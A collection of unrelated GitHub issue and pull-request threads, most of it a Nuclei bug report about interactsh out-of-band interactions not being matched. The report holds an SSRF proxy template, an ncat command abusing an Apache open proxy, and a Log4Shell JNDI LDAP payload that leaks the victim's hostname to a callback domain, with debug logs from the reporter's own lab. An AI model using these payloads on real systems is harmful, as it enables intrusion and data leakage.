What this PR does / why we need it:
Adds support for annotations to DaemonSet
Justification is explaned here https://github.com/SumoLogic/fluentd-kubernetes-sumologic/issues/139
Which issue this PR fixes

fixes #17054

Special notes for your reviewer:
None.
Checklist
[Place an '[x]' (no spaces) in all applicable fields. Please remove unrelated fields.]

[X] DCO signed
[X] Chart Version bumped
[X] Variables are documented in the README.md
[X] Title of the PR starts with chart name (e.g. [stable/chart])

/assign @flah00

/cc

Any progress on reviewing this one ?

/ok-to-test
/assign
/lgtm

/retest

@davidkarlsen please could you approve again ?

/lgtm

Thanks @davidkarlsen


Fold into noir-bignum repository

We can move this code into https://github.com/noir-lang/noir-bignum to have the library and the code necessary to generate it in the same place.
This will allow us to have CI which ensures that the library matches the params generated by this code.

@zac-williamson Can you post a full set of inputs you use to generate these so we can enforce this in CI? I'm wanting to avoid having to manually check changes you make.


Does it work with http2?

Does it work with  https://github.com/molnarg/node-http2 ?

I have no idea.


Raw URL with extension

Is it possible to use raw:1 in conjunction with a file extension?  I'm using imgproxy to serve some audio files.  The encrypted URL does work (OK 200), but the path is extensionless.  I'm trying to serve a raw file with the extension, but it attempts to apply a format if the extension is present in the URL.  For an audio file, this results in an error like "Invalid image format: wav".
OK:
https://example.com/1EHza8rHO6NkAseaHS5eIKhx_HS4Y03W-nUc0Ij7k9g/g:ce/raw:1/aHR0cDovL2Nhcy5pc3AvY2FzLzZmZTcwY2NjNWZmZjQwMmY3MzRkNWYxMWE4NGE2MzJhYzFjNDIwMjZhOTkzMTNjNjNhZTliYWY1N2MyY2YyMDE
Want:
https://example.com/1EHza8rHO6NkAseaHS5eIKhx_HS4Y03W-nUc0Ij7k9g/g:ce/raw:1/aHR0cDovL2Nhcy5pc3AvY2FzLzZmZTcwY2NjNWZmZjQwMmY3MzRkNWYxMWE4NGE2MzJhYzFjNDIwMjZhOTkzMTNjNjNhZTliYWY1N2MyY2YyMDE.wav

Hey @pcj!
I disabled the extension checking if the raw option is used

Gotcha, looks like this was implemented in https://github.com/imgproxy/imgproxy/commit/25459ef88c3ee7f3ec3b8ec235002e2eb6d000cd.  I'll close the issue, thanks!


SelectMany does not notify OnCompleted

Tested Ver.0.1.14 with .NET 8.0:
using R3;

Console.WriteLine("start");

Observable.Range(1, 2)
    .SelectMany(i => Observable.Return(i * 2))
    .Subscribe(onNext: Console.WriteLine,
               onCompleted: _ => Console.WriteLine("onCompleted"));

Console.WriteLine("end");

Output:
start
2
4
end

thank you!
It is a critical bug and I've fixed on v0.1.16.


util/mkrc.pl: Make sure FILEVERSION and PRODUCTVERSION have four numbers

Partially fixes #13414

Travis failure is unrelated.

This pull request is ready to merge

Merged
c7d32b6ba520461103015022d8b4095573ca9691 util/mkrc.pl: Make sure FILEVERSION and PRODUCTVERSION have four numbers


add unit tests for meta::Meta

extract the data from the various files and such, ...

Closing as this project will be cancelled and archived, cfr: https://github.com/plabayo/tsg/issues/15.


Changing Parodos to rhdhrchestrator

Chart releases are blocked until parodos links are fixed

@gabriel-farache

@ElaiShalevRH pls bump k8s chart version in a new PR.


Nuclei not correlating interactsh-server and therefore not matching True Positives.

Hello,
I have an issue where a nuclei-template is making use of interactsh-server.
Scenarios is as bellow :
The Payload (OOB Request Based Interaction) send from Nuclei to Victim server is successful and Victim Server is both requesting DNS of the Interactsh payload + generating HTTP Request to the Interactsh-server ( I can see them in -debug on the interactsh-server side)
But Nuclei doesn't not seem to flag those as successful. Thinking this might be an issue with my interactsh-server, I have tried on Nuclei side to use standard oast.me and interact.sh domain instead of the self hosted one, but result is the same.
Find bellow:

the nuclei-template used (just light-version of standard nuclei template nuclei-templates/vulnerabilities/generic/request-based-interaction.yaml but I removed all un-necessary payload)

id: request-based-interaction

info:
  name: OOB Request Based Interaction - modified
  author: pdteam - modified
  severity: info
  description: The remote server fetched a spoofed DNS Name from the request.
  reference: https://portswigger.net/research/cracking-the-lens-targeting-https-hidden-attack-surface
  tags: oast,ssrf,generic

requests:
  - raw:
      - |+
        GET http://{{interactsh-url}}/ HTTP/1.1
        Host: {{Hostname}}
        Cache-Control: no-transform
        Accept: */*

    unsafe: true # Use Unsafe HTTP library for malformed HTTP requests.
    matchers-condition: or
    matchers:
      - type: word
        part: interactsh_protocol
        name: http
        words:
          - "http"

      - type: word
        part: interactsh_protocol
        name: dns
        words:
          - "dns"

Debug output on Nuclei (I have [redacted] victimIP and interactsh-server domain in this output for obvious reason)

$ echo "http://1**.***.***.**5/" | nuclei -iserver nuclei.*******.** -t custom-templates/httpd_proxy__test_interact.yaml -debug

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   2.6.6

                projectdiscovery.io

[WRN] Use with caution. You are responsible for your actions.
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[INF] Using Nuclei Engine 2.6.6 (latest)
[INF] Using Nuclei Templates 8.9.6 (latest)
[INF] Templates added in last update: 9
[INF] Templates loaded for scan: 1
[INF] Using Interactsh Server: nuclei.*******.**
[INF] [request-based-interaction] Dumped HTTP request for http://1**.***.***.**5/

GET http://c9amhh1b66u7p6g000108tdrsb8aptckh.nuclei.*******.**/ HTTP/1.1
Host: 1**.***.***.**5
Cache-Control: no-transform
Accept: */*

[DBG] [request-based-interaction] Dumped HTTP response (Truncated) http://1**.***.***.**5/

HTTP/1.1 200 OK
Content-Length: 72
Content-Type: text/html; charset=utf-8
Date: Tue, 12 Apr 2022 11:55:48 GMT
Server: nuclei.*******.**
Vary: Accept-Encoding

hkctpa8bsrdt801000g6p7u66b1hhma9c
[INF] No results found. Better luck next time!

Debug output on Interactsh-server (I have [redacted] victimIP and interactsh-server domain in this output for obvious reason)

$ interactsh-server -domain nuclei.*******.** -debug

    _       __                       __       __
   (_)___  / /____  _________ ______/ /______/ /_
  / / __ \/ __/ _ \/ ___/ __ '/ ___/ __/ ___/ __ \
 / / / / / /_/  __/ /  / /_/ / /__/ /_(__  ) / / /
/_/_/ /_/\__/\___/_/   \__,_/\___/\__/____/_/ /_/ v1.0.2

                projectdiscovery.io

[INF] Listening with the following services:
[SMTP] Listening on TCP 1**.***.***.*7:25
[HTTPS] Listening on TCP 1**.***.***.*7:443
[DNS] Listening on TCP 1**.***.***.*7:53
[SMTPS] Listening on TCP 1**.***.***.*7:587
[DNS] Listening on UDP 1**.***.***.*7:53
[LDAP] Listening on TCP 1**.***.***.*7:389
[HTTP] Listening on TCP 1**.***.***.*7:80
[DBG] New DNS request: ;; opcode: QUERY, status: NOERROR, id: 50813
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version 0; flags: do; udp: 1224

;; QUESTION SECTION:
;nuclei.*******.**.       IN       AAAA

[DBG] New DNS request: ;; opcode: QUERY, status: NOERROR, id: 64566
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;nuclei.*******.**.       IN       AAAA

[DBG] Registered correlationID c9amhh1b66u7p6g00010 for key
[DBG] New DNS request: ;; opcode: QUERY, status: NOERROR, id: 50512
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version 0; flags: do; udp: 1232

;; QUESTION SECTION:
;c9amhh1b66u7p6g000108tdrsb8aptckh.nuclei.*******.**.     IN       AAAA

[DBG] New DNS request: ;; opcode: QUERY, status: NOERROR, id: 48735
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version 0; flags: do; udp: 1232

;; QUESTION SECTION:
;c9amhh1b66u7p6g000108tdrsb8aptckh.nuclei.*******.**.     IN       A

[DBG] DNS Interaction:
{"protocol":"dns","unique-id":"c9amhh1b66u7p6g000108tdrsb8aptckh","full-id":"c9amhh1b66u7p6g000108tdrsb8aptckh","q-type":"AAAA","raw-request":";; opcode: QUERY, status: NOERROR, id: 50512\n;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1\n\n;; OPT PSEUDOSECTION:\n; EDNS: version 0; flags: do; udp: 1232\n\n;; QUESTION SECTION:\n;c9amhh1b66u7p6g000108tdrsb8aptckh.nuclei.*******.**.\tIN\t AAAA\n","raw-response":";; opcode: QUERY, status: NOERROR, id: 50512\n;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2\n\n;; QUESTION SECTION:\n;c9amhh1b66u7p6g000108tdrsb8aptckh.nuclei.*******.**.\tIN\t AAAA\n\n;; ANSWER SECTION:\nc9amhh1b66u7p6g000108tdrsb8aptckh.nuclei.*******.**.\t3600\tIN\tA\t1**.***.***.*7\n\n;; AUTHORITY SECTION:\nc9amhh1b66u7p6g000108tdrsb8aptckh.nuclei.*******.**.\t3600\tIN\tNS\tns1.nuclei.*******.**.\nc9amhh1b66u7p6g000108tdrsb8aptckh.nuclei.*******.**.\t3600\tIN\tNS\tns2.nuclei.*******.**.\n\n;; ADDITIONAL SECTION:\nns1.nuclei.*******.**.\t3600\tIN\tA\t1**.***.***.*7\nns2.nuclei.*******.**.\t3600\tIN\tA\t1**.***.***.*7\n","remote-address":"<IP_ADDRESS>","timestamp":"2022-04-12T13:55:48.747597785+02:00"}

[DBG] DNS Interaction:
{"protocol":"dns","unique-id":"c9amhh1b66u7p6g000108tdrsb8aptckh","full-id":"c9amhh1b66u7p6g000108tdrsb8aptckh","q-type":"A","raw-request":";; opcode: QUERY, status: NOERROR, id: 48735\n;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1\n\n;; OPT PSEUDOSECTION:\n; EDNS: version 0; flags: do; udp: 1232\n\n;; QUESTION SECTION:\n;c9amhh1b66u7p6g000108tdrsb8aptckh.nuclei.*******.**.\tIN\t A\n","raw-response":";; opcode: QUERY, status: NOERROR, id: 48735\n;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2\n\n;; QUESTION SECTION:\n;c9amhh1b66u7p6g000108tdrsb8aptckh.nuclei.*******.**.\tIN\t A\n\n;; ANSWER SECTION:\nc9amhh1b66u7p6g000108tdrsb8aptckh.nuclei.*******.**.\t3600\tIN\tA\t1**.***.***.*7\n\n;; AUTHORITY SECTION:\nc9amhh1b66u7p6g000108tdrsb8aptckh.nuclei.*******.**.\t3600\tIN\tNS\tns1.nuclei.*******.**.\nc9amhh1b66u7p6g000108tdrsb8aptckh.nuclei.*******.**.\t3600\tIN\tNS\tns2.nuclei.*******.**.\n\n;; ADDITIONAL SECTION:\nns1.nuclei.*******.**.\t3600\tIN\tA\t1**.***.***.*7\nns2.nuclei.*******.**.\t3600\tIN\tA\t1**.***.***.*7\n","remote-address":"<IP_ADDRESS>","timestamp":"2022-04-12T13:55:48.747917255+02:00"}

[DBG] New DNS request: ;; opcode: QUERY, status: NOERROR, id: 64841
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version 0; flags: do; udp: 1232

;; QUESTION SECTION:
;c9amhh1b66u7p6g000108tdrsb8aptckh.nuclei.*******.**.     IN       AAAA

[DBG] DNS Interaction:
{"protocol":"dns","unique-id":"c9amhh1b66u7p6g000108tdrsb8aptckh","full-id":"c9amhh1b66u7p6g000108tdrsb8aptckh","q-type":"AAAA","raw-request":";; opcode: QUERY, status: NOERROR, id: 64841\n;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1\n\n;; OPT PSEUDOSECTION:\n; EDNS: version 0; flags: do; udp: 1232\n\n;; QUESTION SECTION:\n;c9amhh1b66u7p6g000108tdrsb8aptckh.nuclei.*******.**.\tIN\t AAAA\n","raw-response":";; opcode: QUERY, status: NOERROR, id: 64841\n;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2\n\n;; QUESTION SECTION:\n;c9amhh1b66u7p6g000108tdrsb8aptckh.nuclei.*******.**.\tIN\t AAAA\n\n;; ANSWER SECTION:\nc9amhh1b66u7p6g000108tdrsb8aptckh.nuclei.*******.**.\t3600\tIN\tA\t1**.***.***.*7\n\n;; AUTHORITY SECTION:\nc9amhh1b66u7p6g000108tdrsb8aptckh.nuclei.*******.**.\t3600\tIN\tNS\tns1.nuclei.*******.**.\nc9amhh1b66u7p6g000108tdrsb8aptckh.nuclei.*******.**.\t3600\tIN\tNS\tns2.nuclei.*******.**.\n\n;; ADDITIONAL SECTION:\nns1.nuclei.*******.**.\t3600\tIN\tA\t1**.***.***.*7\nns2.nuclei.*******.**.\t3600\tIN\tA\t1**.***.***.*7\n","remote-address":"<IP_ADDRESS>","timestamp":"2022-04-12T13:55:48.784326817+02:00"}

[DBG] New HTTP request: GET / HTTP/1.1
Host: c9amhh1b66u7p6g000108tdrsb8aptckh.nuclei.*******.**
Connection: close
Accept: */*
Cache-Control: no-transform
Connection: close

[DBG] HTTP Interaction:
{"protocol":"http","unique-id":"c9amhh1b66u7p6g000108tdrsb8aptckh","full-id":"c9amhh1b66u7p6g000108tdrsb8aptckh","raw-request":"GET / HTTP/1.1\r\nHost: c9amhh1b66u7p6g000108tdrsb8aptckh.nuclei.*******.**\r\nConnection: close\r\nAccept: */*\r\nCache-Control: no-transform\r\nConnection: close\r\n\r\n","raw-response":"HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Type: text/html; charset=utf-8\r\nServer: nuclei.*******.**\r\n\r\n\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003ehkctpa8bsrdt801000g6p7u66b1hhma9c\u003c/body\u003e\u003c/html\u003e","remote-address":"1**.***.***.**5","timestamp":"2022-04-12T13:55:48.856514371+02:00"}

[DBG] New DNS request: ;; opcode: QUERY, status: NOERROR, id: 59722
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version 0; flags: do; udp: 1224

;; QUESTION SECTION:
;nuclei.*******.**.       IN       AAAA

[DBG] New DNS request: ;; opcode: QUERY, status: NOERROR, id: 29253
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version 0; flags: do; udp: 1224

;; QUESTION SECTION:
;nuclei.*******.**.       IN       AAAA

[DBG] Polled 4 interactions for c9amhh1b66u7p6g00010 correlationID
[DBG] New DNS request: ;; opcode: QUERY, status: NOERROR, id: 13618
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;nuclei.*******.**.       IN       AAAA

[DBG] New DNS request: ;; opcode: QUERY, status: NOERROR, id: 39465
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;nuclei.*******.**.       IN       AAAA

[DBG] New DNS request: ;; opcode: QUERY, status: NOERROR, id: 15995
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;nuclei.*******.**.       IN       A

[DBG] Deregistered correlationID c9amhh1b66u7p6g00010 for key

What makes me think that this is an issue on Nuclei side is that on interactsh-server DBG Info we can see that:
[DBG] Registered correlationID c9amhh1b66u7p6g00010 for key
[DBG] DNS Interaction
[DBG] HTTP Interaction
[DBG] Polled 4 interactions for c9amhh1b66u7p6g00010 correlationID
[DBG] Deregistered correlationID c9amhh1b66u7p6g00010 for key
As well to make sure it wasn't maybe an issue with my interactsh-server, i have tried using default interactsh domains, but i still do not see True Positive in Nuclei.
The Victim server if you wish to reproduce is a simple Apache server with config bellow:
<VirtualHost *:80>

        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

ProxyRequests On
ProxyPass / "http://neverssl.com/"
</VirtualHost>

By default request to this server should be "reverse proxied" to neverssl.com. But you can force the Apache to redirect to different target, for example by using command bellow :
$ (sleep 1; echo -en "GET http://ipinfo.io/ip HTTP/1.1\r\nHost: blabla.com\r\n\r\n") | ncat <VictimIP> 80
In above case, the reverse proxy will send GET request to ipinfo.io instead of domain set up in ProxyPass configuration.
Let me know if anything else would be needed to understand / fix this problem.
Thank you,
Rib0u

Ok, I am now even more confused.
I have attempted to test if correlation would work with different template/vulnerability. I have set-up a docker container vulnerable to Log4J vulnerability on my victim server and run lightweight version of template cves/2021/CVE-2021-44228.yaml

Template bellow :

id: CVE-2021-44228

info:
  name: Apache Log4j2 Remote Code Injection
  author: melbadry9,dhiyaneshDK,daffainfo,anon-artist,0xceba,Tea
  severity: critical

requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Api-Version: ${jndi:ldap://${hostName}.xapiversion.{{interactsh-url}}}

    stop-at-first-match: true
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the DNS Interaction
        words:
          - "dns"

Nuclei debug (obfuscated :

$ echo "http://1**.***.***.**5:8080/" | nuclei -iserver nuclei.******.** -t ./log4j-test.yaml -debug

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   2.6.6

                projectdiscovery.io

[WRN] Use with caution. You are responsible for your actions.
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[INF] Using Nuclei Engine 2.6.6 (latest)
[INF] Using Nuclei Templates 8.9.6 (latest)
[INF] Templates added in last update: 9
[INF] Templates loaded for scan: 1
[INF] Using Interactsh Server: nuclei.******.**
[INF] [CVE-2021-44228] Dumped HTTP request for http://1**.***.***.**5:8080/

GET / HTTP/1.1
Host: 1**.***.***.**5:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
X-Api-Version: ${jndi:ldap://${hostName}.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**}
Accept-Encoding: gzip

[DBG] [CVE-2021-44228] Dumped HTTP response (Truncated) http://1**.***.***.**5:8080/

HTTP/1.1 200
Connection: close
Content-Length: 13
Content-Type: text/plain;charset=UTF-8
Date: Tue, 12 Apr 2022 13:44:56 GMT

Hello, world!
[f876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t] Received DNS interaction from <IP_ADDRESS> at 2022-04-12 15:44:56
------------
DNS Request
------------

;; opcode: QUERY, status: NOERROR, id: 13573
;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version 0; flags: do; udp: 1400
; SUBNET: <IP_ADDRESS>/24/0

;; QUESTION SECTION:
;f876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.    IN       A

------------
DNS Response
------------

;; opcode: QUERY, status: NOERROR, id: 13573
;; flags: qr aa cd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;f876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.    IN       A

;; ANSWER SECTION:
f876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.     3600    IN      A       1**.***.***.*7

;; AUTHORITY SECTION:
f876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.     3600    IN      NS      ns1.nuclei.******.**.
f876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.     3600    IN      NS      ns2.nuclei.******.**.

;; ADDITIONAL SECTION:
ns1.nuclei.******.**.    3600    IN      A       1**.***.***.*7
ns2.nuclei.******.**.    3600    IN      A       1**.***.***.*7

[2022-04-12 13:45:01] [CVE-2021-44228:word-1] [http] [critical] http://1**.***.***.**5:8080/

Interactsh-server debug bellow:

    _       __                       __       __
   (_)___  / /____  _________ ______/ /______/ /_
  / / __ \/ __/ _ \/ ___/ __ '/ ___/ __/ ___/ __ \
 / / / / / /_/  __/ /  / /_/ / /__/ /_(__  ) / / /
/_/_/ /_/\__/\___/_/   \__,_/\___/\__/____/_/ /_/ v1.0.2

                projectdiscovery.io

[INF] Listening with the following services:
[SMTPS] Listening on TCP 1**.***.***.*7:587
[HTTP] Listening on TCP 1**.***.***.*7:80
[DNS] Listening on TCP 1**.***.***.*7:53
[SMTP] Listening on TCP 1**.***.***.*7:25
[LDAP] Listening on TCP 1**.***.***.*7:389
[HTTPS] Listening on TCP 1**.***.***.*7:443
[DNS] Listening on UDP 1**.***.***.*7:53
[DBG] New DNS request: ;; opcode: QUERY, status: NOERROR, id: 39916
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version 0; flags: do; udp: 1224

;; QUESTION SECTION:
;nuclei.******.**.       IN       A

[DBG] New DNS request: ;; opcode: QUERY, status: NOERROR, id: 19497
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;nuclei.******.**.       IN       AAAA

[DBG] New DNS request: ;; opcode: QUERY, status: NOERROR, id: 44393
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;nuclei.******.**.       IN       AAAA

[DBG] Registered correlationID c9ao4m1b66u9irg00010 for key
[DBG] New DNS request: ;; opcode: QUERY, status: NOERROR, id: 13573
;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version 0; flags: do; udp: 1400
; SUBNET: <IP_ADDRESS>/24/0

;; QUESTION SECTION:
;f876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.    IN       A

[DBG] DNS Interaction:
{"protocol":"dns","unique-id":"c9ao4m1b66u9irg00010gs63qi7mpwk6t","full-id":"f876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t","q-type":"A","raw-request":";; opcode: QUERY, status: NOERROR, id: 13573\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1\n\n;; OPT PSEUDOSECTION:\n; EDNS: version 0; flags: do; udp: 1400\n; SUBNET: <IP_ADDRESS>/24/0\n\n;; QUESTION SECTION:\n;f876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\tIN\t A\n","raw-response":";; opcode: QUERY, status: NOERROR, id: 13573\n;; flags: qr aa cd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2\n\n;; QUESTION SECTION:\n;f876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\tIN\t A\n\n;; ANSWER SECTION:\nf876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\t3600\tIN\tA\t1**.***.***.*7\n\n;; AUTHORITY SECTION:\nf876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\t3600\tIN\tNS\tns1.nuclei.******.**.\nf876049c099c.xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\t3600\tIN\tNS\tns2.nuclei.******.**.\n\n;; ADDITIONAL SECTION:\nns1.nuclei.******.**.\t3600\tIN\tA\t1**.***.***.*7\nns2.nuclei.******.**.\t3600\tIN\tA\t1**.***.***.*7\n","remote-address":"<IP_ADDRESS>","timestamp":"2022-04-12T15:44:56.668428745+02:00"}

[DBG] New DNS request: ;; opcode: QUERY, status: NOERROR, id: 6072
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version 0; flags: do; udp: 1232

;; QUESTION SECTION:
;c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.     IN       A

[DBG] DNS Interaction:
{"protocol":"dns","unique-id":"c9ao4m1b66u9irg00010gs63qi7mpwk6t","full-id":"c9ao4m1b66u9irg00010gs63qi7mpwk6t","q-type":"A","raw-request":";; opcode: QUERY, status: NOERROR, id: 6072\n;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1\n\n;; OPT PSEUDOSECTION:\n; EDNS: version 0; flags: do; udp: 1232\n\n;; QUESTION SECTION:\n;c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\tIN\t A\n","raw-response":";; opcode: QUERY, status: NOERROR, id: 6072\n;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2\n\n;; QUESTION SECTION:\n;c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\tIN\t A\n\n;; ANSWER SECTION:\nc9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\t3600\tIN\tA\t1**.***.***.*7\n\n;; AUTHORITY SECTION:\nc9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\t3600\tIN\tNS\tns1.nuclei.******.**.\nc9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\t3600\tIN\tNS\tns2.nuclei.******.**.\n\n;; ADDITIONAL SECTION:\nns1.nuclei.******.**.\t3600\tIN\tA\t1**.***.***.*7\nns2.nuclei.******.**.\t3600\tIN\tA\t1**.***.***.*7\n","remote-address":"<IP_ADDRESS>","timestamp":"2022-04-12T15:44:56.674625289+02:00"}

[DBG] New DNS request: ;; opcode: QUERY, status: NOERROR, id: 16857
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version 0; flags: do; udp: 1232

;; QUESTION SECTION:
;xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**. IN       A

[DBG] DNS Interaction:
{"protocol":"dns","unique-id":"c9ao4m1b66u9irg00010gs63qi7mpwk6t","full-id":"xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t","q-type":"A","raw-request":";; opcode: QUERY, status: NOERROR, id: 16857\n;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1\n\n;; OPT PSEUDOSECTION:\n; EDNS: version 0; flags: do; udp: 1232\n\n;; QUESTION SECTION:\n;xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\tIN\t A\n","raw-response":";; opcode: QUERY, status: NOERROR, id: 16857\n;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2\n\n;; QUESTION SECTION:\n;xapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\tIN\t A\n\n;; ANSWER SECTION:\nxapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\t3600\tIN\tA\t1**.***.***.*7\n\n;; AUTHORITY SECTION:\nxapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\t3600\tIN\tNS\tns1.nuclei.******.**.\nxapiversion.c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\t3600\tIN\tNS\tns2.nuclei.******.**.\n\n;; ADDITIONAL SECTION:\nns1.nuclei.******.**.\t3600\tIN\tA\t1**.***.***.*7\nns2.nuclei.******.**.\t3600\tIN\tA\t1**.***.***.*7\n","remote-address":"<IP_ADDRESS>","timestamp":"2022-04-12T15:44:56.707145189+02:00"}

[DBG] New DNS request: ;; opcode: QUERY, status: NOERROR, id: 9054
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version 0; flags: do; udp: 1232

;; QUESTION SECTION:
;c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.     IN       A

[DBG] DNS Interaction:
{"protocol":"dns","unique-id":"c9ao4m1b66u9irg00010gs63qi7mpwk6t","full-id":"c9ao4m1b66u9irg00010gs63qi7mpwk6t","q-type":"A","raw-request":";; opcode: QUERY, status: NOERROR, id: 9054\n;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1\n\n;; OPT PSEUDOSECTION:\n; EDNS: version 0; flags: do; udp: 1232\n\n;; QUESTION SECTION:\n;c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\tIN\t A\n","raw-response":";; opcode: QUERY, status: NOERROR, id: 9054\n;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2\n\n;; QUESTION SECTION:\n;c9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\tIN\t A\n\n;; ANSWER SECTION:\nc9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\t3600\tIN\tA\t1**.***.***.*7\n\n;; AUTHORITY SECTION:\nc9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\t3600\tIN\tNS\tns1.nuclei.******.**.\nc9ao4m1b66u9irg00010gs63qi7mpwk6t.nuclei.******.**.\t3600\tIN\tNS\tns2.nuclei.******.**.\n\n;; ADDITIONAL 